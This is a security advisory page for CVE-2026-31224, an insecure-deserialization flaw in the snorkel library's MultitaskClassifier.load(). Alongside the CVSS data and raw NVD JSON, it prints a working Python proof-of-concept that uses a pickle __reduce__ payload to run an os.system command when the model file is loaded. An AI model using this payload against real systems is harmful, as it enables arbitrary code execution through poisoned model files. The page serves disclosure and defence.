Security Vulnerability Report
中文
CVE-2026-31224 CVSS 8.8 HIGH

CVE-2026-31224

Published: 2026-05-12 16:16:14
Last Modified: 2026-05-13 15:44:55

Description

The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the MultitaskClassifier.load() method of the MultitaskClassifier class. The method loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:snorkel:snorkel:*:*:*:*:*:*:*:* - VULNERABLE
Snorkel <= v0.10.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import torch import pickle # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a shell command when unpickled # Example: creating a file to prove execution return (os.system, ('echo "CVE-2026-31224 Exploit Success" > /tmp/pwned.txt',)) # Create the malicious model file def create_malicious_model(filename): malicious_obj = MaliciousPayload() # torch.save uses pickle by default torch.save(malicious_obj, filename) print(f"[+] Malicious model file created: {filename}") # Simulate the vulnerable loading process def simulate_vulnerable_load(filename): try: print(f"[*] Attempting to load model using vulnerable torch.load()...") # This mimics Snorkel's MultitaskClassifier.load() behavior # which calls torch.load() without weights_only=True data = torch.load(filename) print("[-] Model loaded.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": model_file = "exploit_model.pt" create_malicious_model(model_file) simulate_vulnerable_load(model_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31224", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:14.327", "lastModified": "2026-05-13T15:44:54.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the MultitaskClassifier.load() method of the MultitaskClassifier class. The method loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:snorkel:snorkel:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.10.0", "matchCriteriaId": "F2E7FC3A-64C0-4F69-84DD-FC9BA0883D08"}]}]}], "references": [{"url": "https://github.com/snorkel-team/snorkel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.notion.so/CVE-2026-31224-35d1e1393188814185f3f6db86c9a4e9", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}